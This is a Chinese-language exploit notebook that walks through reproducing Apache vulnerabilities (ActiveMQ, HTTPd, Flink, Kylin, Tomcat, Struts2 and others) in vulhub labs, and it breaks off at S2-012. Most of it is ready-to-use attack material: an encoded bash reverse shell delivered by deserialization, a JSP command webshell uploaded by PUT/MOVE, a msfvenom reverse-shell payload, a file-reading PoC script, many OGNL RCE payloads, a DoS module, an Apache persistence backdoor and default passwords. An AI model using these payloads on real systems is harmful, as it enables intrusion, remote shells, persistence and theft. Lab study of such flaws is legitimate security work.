Airflow 存储型XSS

漏洞描述

Apache Airflow 1.10.2及之前版本的airflow webserver服务存在XSS漏洞,原因在于`WEB应用未对客户端数据进行正确验证,导致攻击者可利用该漏洞执行客户端代码。

影响版本

Apache Airflow 1.10.3以下版本。

漏洞复现

访问/admin/dagrun/(默认不需要密码)。

创建一个项目,输入ID后点击保存,返回列表,点击running字样,发现能够输入HTML代码,例:

<script>_a="https://www.baidu.com"</script>
<script>document.location=_a</script> 

能直接造成存储型XSS

ActiveMQ 反序列化漏洞 CVE-2015-5254

漏洞描述

Apache ActiveMQApache软件经济会研发的一套开源消息中间件,支持Java消息服务、集群、Spring Framework等。Apache ActiveMQ 5.13.0之前版本,即5.x版本中存在反序列化漏洞,漏洞源于程序没有限制可在代理中序列化的类,攻击者通过借助特制序列化Java消息服务(JMS) ObjectMessage对象实现任意代码执行。

影响版本

Apache ActiveMQ 5.13.0之前的5.x版本。

复现思路

1.构造(可使用ysoserial)可执行命令的序列化对象。

2.作为一个消息,发送给目标对应端口。

3.访问Web管理页面,读取消息,触发漏洞。

漏洞复现

使用jmet进行漏洞利用:ianxtianxt/jmet: Java Message Exploitation Tool (github.com)

下载好之后在jmet-0.1.0-all.jar同级目录下创建external文件夹,避免出现文件夹不存在的报错。

jmet的原理是使用jar包内置ysoserial生成Payload并发送,我们需要在ysoserialgadget选择一个可使用的,如ROME

给目标ActiveMQ添加一个名为event的队列,点击事件为生成/tmp/vuln文件:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/vuln" -Yp ROME <ip> <port>

# 命令执行成功后回显如下
INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:<server-id>
INFO d.c.j.t.JMSTarget [main] Sent gadget "ROME" with command: "touch /tmp/vuln"
INFO d.c.j.t.JMSTarget [main] Shutting down connection ID:<server-id>

访问http://<ip>:<port>/admin/browse.jsp?JMSDestination=event查看消息队列,访问页面需要登录,默认账密如下:

admin/admin

点击页面Message ID下的ID:server-id字段触发文件创建命令,在受害端查看命令是否执行成功:

ls /tmp

确认/tmp/vuln文件存在后即可进一步创建反弹shell

bash -i >& /dev/tcp/<ip>/<port> 0>&1
# Base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC88aXA+Lzxwb3J0PiAwPiYx

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88aXA+Lzxwb3J0PiAwPiYx}|{base64,-d}|{bash,-i}

# 发送payload
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88aXA+Lzxwb3J0PiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME <ip> <port>

# INFO如下
INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:<server-id>
INFO d.c.j.t.JMSTarget [main] Sent gadget "ROME" with command: "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjExNi4yMzMuNzYvODg4MyAwPiYx}|{base64,-d}|{bash,-i}"
INFO d.c.j.t.JMSTarget [main] Shutting down connection ID:<server-id>

执行成功后,在监听端打开nc

nc -lvvp <port>

继续到http://<ip>:<port>/admin/browse.jsp?JMSDestination=event页面,点击字段触发反弹shell,成功连接。

ActiveMQ 任意文件写入漏洞 CVE-2016-3088

漏洞描述

ActiveMQ中的FileServer服务允许用户通过PUT方法上传文件到指定目录。FileServer是存储文件的接口,支持写入文件(不解析jsp)、移动文件(Move)。

影响版本

ActiveMQ 5.x ~ 5.14.0,但在5.12.x ~ 5.13.x版本中默认关闭fileserver应用(可在conf/jetty.xml中开启)。在5.14.0版本后fileserver应用被彻底删除。

复现思路

1.PUT一个webshellfileserver目录。

2.若不能执行则移动webshell到有权限目录。

漏洞复现

访问http://<ip>:8161,先登录,默认账密:

admin/admin

使用bp构造如下请求包:

PUT /fileserver/a.jsp HTTP/1.1
Host: <ip>:<port>
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Connection: close
Content-Length: 349

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd = request.getParameter("cmd");
 String line = null;
 Process p = Runtime.getRuntime().exec(strcmd);
 BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
 while((line = br.readLine()) != null){
 	out.print(line + "</br>");
 }
%>

响应包如下:

HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)

查看webshell能否执行:http://<ip>:<ip>/fileserver/a.jsp,发现文件原样输出,没有被解析,当前目录没有执行权限。所以需要考虑移动文件至/webapps/api/webapps/admin可解析jsp的目录下。

要移动文件,必然就需要路径,以下为两种获取路径的方法:

1.访问http://<ip>:8161admin/test/systemProperties.jsp

2.构造错误上传路径,爆出绝对路径,如:

PUT /fileserver/a/b HTTP/1.1

实测ActiveMQ 5.11.1版本无法利用。

使用第一种方法,查看到文件路径为root/apache-activemq-5.11.1,下面把a.jsp文件移动到/webapps/admin目录下,构造包如下:

MOVE /fileserver/a.jsp HTTP/1.1
Destination: file:///root/apache-activemq-5.11.1/webapps/admin/a.jsp
Host: <ip>:8161
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMT
Connection: close

响应包如下:

HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)

此时我们就可以使用webshell了:http://<ip>:8161/admin/a.jsp?cmd=ls

DDOS CVE-2007-6750

漏洞描述

Apache HTTP服务器2.2.15之前版本中缺少mod_ReqTimeout模块,1.x2.x版本允许远程攻击者通过部分HTTP请求造成拒绝服务(守护进程中断),如Slowloris

影响版本

Apache 1.x ~ 2.x

复现思路

1.检查存活。

2.msf进一步验证。

漏洞复现

首先使用nmap查看Apache版本:

nmap -sV -p80 <ip>

然后进一步访问网页,查看网页是否正常。

使用msf执行攻击:

msfconsole # 启动metasploit
use auxiliary/dos/http/slowloris # 使用模块
set RHOST <ip> # 设置目标IP
run # 执行攻击

HTTPd 多后缀解析漏洞

漏洞描述

Apache HTTPD支持一个文件拥有多个后缀并根据不同后缀执行不同指令,示例配置文件如下:

AddType text/html .html
AddLanguage zh-CN .cn

配置文件给.html后缀增加了media-type,值为text/html;给.cn后缀增加了语言,值为zh-CN。此时,若用户请求文件index.cn.html,服务器将返回一个中文html页面。这就是Apache多后缀特性。

若运维人员给.php后缀增加了处理器:

AddHandler application/x-httpd-php .php

在有多个后缀的情况下,只要一个文件含有.php后缀,那么其将被识别为php文件,利用这个特性我们就可以构造绕过上传限制的解析漏洞。

复现思路

修改文件名为xxx.php.jpg绕过文件上传限制。

漏洞复现

git clone https://github.com/vulhub/vulhub.git
cd vulhub/httpd/apache_parsing_vulnerability
docker-compose up -d

首先正常上传一个php文件,显示文件类型不支持报错。

将文件后缀改为xxx.php.jpg,成功上传并获取文件路径,访问即可。

HTTPd 换行解析漏洞 CVE-2017-15715

漏洞描述

Apache HTTPd是一款HTTP服务器,可以通过mod_php来运行PHP网页。其2.4.0 ~ 2.4.29版本存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,能够绕过一些服务器的安全策略。

影响版本

Apache HTTPd 2.4.0 ~ 2.4.29

复现思路

抓包给文件后缀加上0a换行符。

漏洞复现

环境搭建:

git clone https://github.com/vulhub/vulhub.git
cd vulhub/httpd/CVE-2017-15715
docker-compose up -d

直接点击上传文件会被拦截,查看配置文件如下:

<FilesMatch \.php$>
	SetHandler application/x-httpd-php
</FilesMatch>

DirectoryIndex disabled
DirectoryIndex index.php index.html

<Directory /var/www/>
	Options -Indexes
	AllowOverride All
</Directory>

前三行配置是将以.php为后缀的文件内容当作PHP代码进行解析,但使用了$进行文件匹配。

$在正则表达式中是匹配字符串中结尾的位置,若存在换行符,则匹配换行符为结尾,可以通过这个缺陷绕过黑名单机制实现文件上传。

抓包发送至Repeater模块,在文件后缀加上%0a绕过限制,上传成功,访问http://<ip>:<port>/test.php%0a成功触发解析漏洞。

Flink 目录遍历漏洞 CVE-2020-17519

漏洞描述

远程攻击者通过REST API目录遍历,可造成文件读写的影响。

影响版本

Apache Flink 1.11.0 ~ 1.11.2

复现思路

漏洞复现

FOFAapp="Apache Flink"

环境搭建:vulhub/flink/CVE-2020-17519 at master · vulhub/vulhub (github.com)

POC

http://<ip>/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

漏洞利用POC

import requests
import sys
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')
    print('+  \033[34mVersion: Apache Flink   1.11.0-1.11.2                             \033[0m')
    print('+  \033[36m使用格式: python3 CVE-2020-17519.py                                  \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+  \033[36mFile        >>> /etc/passwd                                        \033[0m')
    print('+------------------------------------------')

def POC_1(target_url, file_name):
    file_name = file_name.replace("/", "%252f")
    vuln_url = target_url + "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{}".format(file_name)
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, timeout=10, verify=False, headers=headers)
        print("\033[32m[o] 请求URL : {}\033[0m".format(vuln_url))
        if "root" in response.text:
            print("\033[32m[o] 目标 {} 存在漏洞,成功读取 /etc/passwd ,响应为:\n{}\033[0m".format(target_url, response.text))
        else:
            print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
            sys.exit(0)

    except Exception as e:
        print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
        sys.exit(0)

def POC_2(target_url, file_name):
    file_name_re = file_name.replace("/", "%252f")
    vuln_url = target_url + "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{}".format(file_name_re)
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, timeout=10, verify=False, headers=headers)
        print("\033[32m[o] 请求URL : {}\033[0m".format(vuln_url))
        if "error" not in response.text:
            print("\033[32m[o] 目标 {} 存在漏洞,成功读取 {} ,响应为:\n{}\033[0m".format(target_url, file_name, response.text))
        else:
            print("\033[31m[x] 目标文件{}读取失败\033[0m".format(file_name))

    except Exception as e:
        print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
        sys.exit(0)

if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl   >>> \033[0m"))
    file_name = "/etc/passwd"
    POC_1(target_url, file_name)

    while True:
        file_name = input("\033[35mFile >>> \033[0m")
        if file_name == "exit":
            sys.exit(0)
        else:
            POC_2(target_url, file_name)

使用方式:python3 poc.py

Url >>><ip>:<port>

File >>>/etc/hosts

后门维持

漏洞描述

通过第三方脚本实现维持后门。

复现思路

1.上传文件

2.重启服务

3.执行脚本

漏洞复现

工具下载:ianxtianxt/apache-: apache权限维持后门 (github.com)

1.上传mod_backdoor.c到服务器,并执行命令:

apxs -i -a -c mod_backdoor.c && service apache2 restart

2.控制端执行脚本:

python exploit.py <ip> 80

Mod_jk 访问控制权限绕过 CVE-2018-11759

漏洞描述

Apache Tomcat JK(mod_jk) ConnectorApache软件基金会为ApacheIIS提供连接后台Tomcat的模块,为ApacheIIS服务器提供处理JSP/Servlet的能力。

由于httpdTomcat在路径处理规范上存在差异,httpdurl中的分号视作路径解析中的普通字符,而Tomcat将其当作查询分隔符(类似"?")。如,攻击者获取到路径:http://server/java_app/.. ;,对httpd来说,这并不会触发服务器并跳转到相应目录,仅仅被原封不动转发到Tomcat,且地址尾部被解析为.. *。这就允许攻击者获取到本不能在Tomcat访问的资源。

jkstatusmod_jk模块的管理界面,设为读写权限时,允许配置AJP连接Java Web服务器代理HTTP请求,我们可以绕过Apache mod_jk ConnectorJkMount httpd指令所定义端点的访问控制限制。如果能访问一个只有只读权限的jkstatus的接口,那么就有可能能够公开由mod_jk模块给AJP提供服务的内部路由。 如果能访问一个具有读写权限的jkstatus接口,我们就能通过修改AJP的配置文件中相关配置来劫持或者截断所有经过mod_jk的流量,或者进行内部端口扫描。

影响版本

Apache Mod_jk Connector 1.2.0 ~ 1.2.44

漏洞复现

环境搭建:

git clone https://github.com/immunIT/CVE-2018-11759.git
docker-compose up -d

访问http://<ip>:80成功后,访问http://<ip>:80/jkstatus,显示无权限,通常使用如下httpd指令限制对jkstatus的访问:

<Location /jkstatus>
JKMount jk-status
Require ip 127.0.0.1
</Location>

URL后加一个分号即可绕过限制,http://<ip>:80/jkstatus;

我们还可在分号之后提交GET参数,向jkstatus请求修改其访问权限的配置,如:http://<ip>:80/jkstatus;?cmd=dump

参数若能被解析,其产生的影响就等同于更改工作人员使用的端口来实现对所有由mod_jk供应的应用程序拒绝服务的效果,此外,若攻击者将相应AJP连接到自己的服务器上,就可能劫持所有到由mod_jk供应服务的Web应用的流量。

从理论上说,将AJP的目标和端口修改为内部主机及其对应端口后,由于httpdTomcatjkstatus返回错误信息不一致,我们能进行内部TCP端口扫描,具体情况取决于提交的AJP端口是否有效。

Kylin Console 控制台弱口令

漏洞描述

默认账密admin/KYLIN

影响版本

Apache Kylin

漏洞复现

打开站点输入默认账密。

Kylin 未授权配置泄露 CVE-2020-13937

漏洞描述

Apache Kylin有一个restful api会在没有任何认证的情况下暴露配置信息。

影响版本

Apahche Kylin 2.x.x

Apahche Kylin <= 3.1.0

Apahche Kylin 4.0.0-alpha

漏洞复现

POChttp://<ip>/kylin/api/admin/config

漏洞检测POC

import requests

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')
    print('+  \033[34mVersion: Apache Kylin 2.x.x <= 3.1.0 Kylin 4.0.0-alpha            \033[0m')
    print('+  \033[36m使用格式: python3 cve-2019-13937.py                                 \033[0m')
    print('+  \033[36mUrl    >>> http://xxx.xxx.xxx.xxx:9999                            \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/kylin/api/admin/config"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"
    }
    try:
        response = requests.get(url=vuln_url, headers=headers, timeout=20)
        if "config" in response.text:
            print("\033[32m[o] 存在Apache Kylin的未授权配置泄露\n[o] 响应为:\n\033[0m",response.text)
        else
            print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
    except:
        print("\033[31m[x] 目标Url漏洞利用失败\033[0m")

if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)

RCE CVE-2017-12615

漏洞描述

conf/web.xml文件配置错误中的readonly参数默认为false,攻击者可以使用PUT/DELETE请求方法操作文件。如通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP文件,JSP文件中的恶意代码将能被服务器执行,导致服务器数据泄露或获取服务器权限。

影响版本

Apache Tomcat 7.0.0 ~ 7.0.81

复现思路

1.msf生成jsp

2.PUT上传文件

漏洞复现

环境搭建:

gitclone https://github.com/vulhub/vulhub.git
cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d

msf生成jsp马:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.jsp

PUT上传jsp马:

curl -v -X PUT --data-binary @shell.jsp "http://<ip>:<port>/shell.jsp/"

Shiro 反序列化漏洞 CVE-2016-4437

漏洞描述

Apache Shiro是一款开源的安全框架,提供身份验证、授权、密码学及会话管理功能。Shiro框架直观易用,也能提供健壮的安全性。Apache Shiro 1.2.4及之前版本中,加密的用户信息序列化后存放在名为remember-meCookie中,攻击者可以使用Shiro的默认密钥来伪造用户Cookie触发反序列化漏洞,进行在目标机器执行任意命令。

影响版本

Apach Shiro <= 1.2.4

复现思路

漏洞复现

环境复现:

https://github.com/vulhub/vulhub.git
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d

Struts2 S2-001 表单验证错误远程利用 CVE-2007-4556

漏洞描述

S2-001 - Apache Struts 2 Wiki - Apache Software Foundation

用户提交表单数据失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应表单数据中。

影响版本

Apache Struts 2.0.0 ~ 2.0.8

漏洞复现

环境搭建:

gitclone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-001
docker-compose up -d

在用户名处输入如下POC

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

密码随便输。

成功执行id命令,可以在new java.lang.String[]{"<command>"}中的<command>输入想执行的命令。

Struts2 S2-002 <s: url>和<s: a>标记上的XSS漏洞

漏洞描述

S2-002 - Apache Struts 2 Wiki - Apache Software Foundation

对于<s:url><s:a>标签,可以在构造和呈现标签的结果URL时注入不能正确转义的参数值。如: 构造<s:a>结果中包含的参数值可以注入未转义的双引号,从而可以通过转义已渲染的href属性来在生成的HTML中注入代码。 当includeParams设置为none的任何其他值时,<s:url><s:a>标签无法转义<script>标签,可以通过使用GET参数调用包含JSP /动作来利用

影响版本

Struts2 2.0.0 ~ 2.0.11

漏洞复现

POC

http://<ip>:<port>/index.action?"><script>alert(1)</script><"
http://<ip>:<port>/index.action?<script>alert(1)</script>test=hello

Struts2 S2-003 XWork ParameterInterceptors旁路允许OGNL语句执行 CVE-2008-6504

漏洞描述

S2-003 - Apache Struts 2 Wiki - Apache Software Foundation

OGNL提供了广泛的表达式评估功能,可以使攻击者绕过ParameterInterceptor内置的#使用保护,从而能够操纵服务器端上下文对象。

如,要将#session.user设置为oopsdc,可以使用以下参数名称:

('\ u0023'+'session 'user ' ')(未使用)= oopsdc

URL编码后会如此显示:

('\ u0023'%20%2b%20'session 'user \ '))(未使用)= oopsdc

影响版本

Structs 2.0.0 ~ 2.0.11.2

漏洞复现

S2-003算是S2-005的前身,其POCS2-005的缩小版,因为S2-003之后官方修改了安全配置,默认让SecurityMemberAccess(管理OGNL权限的类)的allowStaticMethodAccessz值为false

这里把S2-005POC去掉&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)这句话。

?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\[email protected]@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\[email protected]@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

测试URL

http://<ip>:8080/showcase.action

修改后URL

http://<ip>:<port>/showcase.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\[email protected]@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\[email protected]@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

直接执行ipconfig命令。

Struts2 S2-004 提供静态内容时的目录遍历漏洞 CVE-2008-6505

漏洞描述

S2-004 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2 S2-005 XWork ParameterInterceptors旁路允许RCE

漏洞描述

S2-005 - Apache Struts 2 Wiki - Apache Software Foundation

通过unicode编码\u0023绕过struts#的过滤,再通过设置xwork.MethodAccessor.denyMethodExecutionfalsememberAccess.allowStaticMethodAccesstrue来绕过沙盒。

影响版本

Apache Struts 2.0.0 ~ 2.1.8.1

漏洞复现

环境搭建:

gitclone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-005
docker-compose up -d

POC

/example/HelloWorld.action?%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%[email protected]@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27id%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%[email protected]@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%[email protected]@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29

更改POC中的id值就能执行任意指令。

Struts2 S2-006 XWork的多个XSS生成错误页面

漏洞描述

S2-006 - Apache Struts 2 Wiki - Apache Software Foundation

Struts2 S2-007 出现转换错误时,用户输入被评估为OGNL表达式 CVE-2012-0838

漏洞描述

S2-007 - Apache Struts 2 Wiki - Apache Software Foundation

当项目配置了验证规则、类型转换出错时,会造成错误的字符串拼接,进而造成了OGNL语句的执行。后端用代码拼接 "'" + value + "'" 并对其进行 OGNL 表达式解析,类似SQL注入单引号闭合,官方修复时使用escape 对单引号转义,也跟SQL注入比较相似,。

影响版本

Apache Structs 2.0.0 ~ 2.2.3

漏洞复现

环境搭建:

gitclone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-007
docker-compose up -d

# 我默认进入路径显示404,使用如下路径即可
# http://<ip>:<port>/index.jsp

随便给nameemail两个属性赋值,age使用如下Payloadbp抓取提交后的请求包,发送到Repeater模块:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

在响应包中查看ageinput标签,值就是我们执行的id命令的结果。

<input type="text" name="age" value="uid=0(root) gid=0(root) groups=0(root)
" id="user_age"/>

Structs2 S2-008 Struts2中的多个关键漏洞 CVE-2012-0391

漏洞描述

S2-008 - Apache Struts 2 Wiki - Apache Software Foundation

漏洞主要利用系统未对传入参数进行严格限制的缺陷,导致多个地方可执行恶意代码。

第一种情况是S2-007,在异常处理时的OGNL执行。

第二种情况是cookie,虽然Struts2没有对恶意代码进行限制,但Javawebserver(Tomcat)cookie名称有较多限制,在传入Struts2之前就被处理。

第三种情况需要开启devModedebug模式。

影响版本

Apache Struts 2.1.0 ~ 2.3.1

复现思路

第三种情况,使用devModedebug模式造成任意代码执行。

漏洞复现

环境搭建:

gitclone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-008
docker-compose up -d

POC

http://<ip>:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)

回显为null

http://<ip>:8080/S2-008/devmode.action?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29

成功执行id命令。

Struts2 S2-009 ParameterIntercetptor远程命令执行漏洞

漏洞描述

S2-009 - Apache Struts 2 Wiki - Apache Software Foundation

S2-003S2-005属于同一种类型,Structs2S2-003的修复方法是禁止#号,S2-005通过使用编码\u0023\43绕过。Struts2S2-005的修复方法是禁止\等特殊符号。

但如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以我们可将OGNL表达式放在example参数中,然后使用/HelloWorld.action?example=&(example)('xxx')=1的方法来执行,绕过官方的限制。

影响版本

Apache Structs 2.1.0 ~ 2.3.1.1

漏洞复现

环境搭建:

gitclone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-009
docker-compose up -d

POC

http://<ip>:<port>/ajax/example5?age=123&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%[email protected]@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true

在服务器创建/tmp/success文件,无回显。

http://<ip>:<port>/ajax/example5.action?age=123&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

执行ls命令并下载结果文件。

Struts S2-010 使用Struts2令牌机制进行CSRF保护时,可能会因滥用已知会话属性绕过检查

漏洞描述

S2-010 - Apache Struts 2 Wiki - Apache Software Foundation

影响版本

Apache Struts 2.0.0 ~ 2.3.4

Struts2 S2-011 长请求参数名称可能会显著提高DOS攻击有效性

漏洞描述

S2-011 - Apache Struts 2 Wiki - Apache Software Foundation

影响版本

Apache Struts 2.0.0 ~ 2.3.4

Struts2 S2-012 展示应用程序漏洞允许远程命令执行 CVE-2013-1965

漏洞描述

S2-012 - Apache Struts 2 Wiki - Apache Software Foundation

若在配置ActionResult使用了重定向类型,且使用${param_name}作为重定向变量,如:

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

UserAction中定义了一个name变量,当触发redirect类型返回时,Structs2获取使用${name}获取它的值,在这个过程中会对name参数的值执行OGNL表达式解析导致可以插入任意OGNL表达式导致命令执行。

影响版本

Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2

漏洞复现

环境搭建:

gitclone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-012
docker-compose up -d

URL

http://<ip>:<port>/index.jsp

POC

